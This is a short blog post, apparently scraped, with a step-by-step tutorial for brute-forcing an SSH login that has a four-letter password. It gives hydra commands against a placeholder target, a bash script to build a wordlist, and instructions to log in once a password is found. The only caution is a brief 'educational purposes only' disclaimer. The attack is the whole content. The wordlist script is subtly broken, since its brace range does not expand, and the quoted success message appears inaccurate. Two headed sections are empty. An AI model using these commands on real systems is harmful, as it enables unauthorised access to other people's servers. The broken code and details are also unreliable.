Blog | G5 Cyber Security

SSH Brute Force: 4-Letter Password

TL;DR

This guide shows you how to brute-force an SSH login with a password that’s only four letters long. It uses the hydra tool, which is common for this type of attack. Warning: Brute-forcing without permission is illegal and unethical. This information is for educational purposes only.

Prerequisites

Steps

  1. Gather Information
  • Install hydra (if necessary)
  • As mentioned in prerequisites, use

    sudo apt update && sudo apt install hydra

    .

  • Run Hydra to Brute-Force the Password
  • hydra -l <username> -P /usr/share/wordlists/rockyou.txt <target_ip> ssh
  • For a 4-letter password, you can create a custom wordlist for faster results. A simple script could generate this:
    #!/bin/bash
    for i in {aaaa..zzzz};
    do
    echo $i
    done > four_letters.txt

    Then use that file with hydra:

    hydra -l <username> -P four_letters.txt <target_ip> ssh
  • Monitor the Output
  • Hydra will attempt each password in the wordlist against the SSH server. Watch for a message indicating a successful login, like “[STATUS] 1 target successfully logged in”.

  • Stop Hydra and Log In
  • Once you have a valid password, press Ctrl+C to stop hydra. Then use ssh to log into the server using the username and password you discovered.

    Important Considerations

    Exit mobile version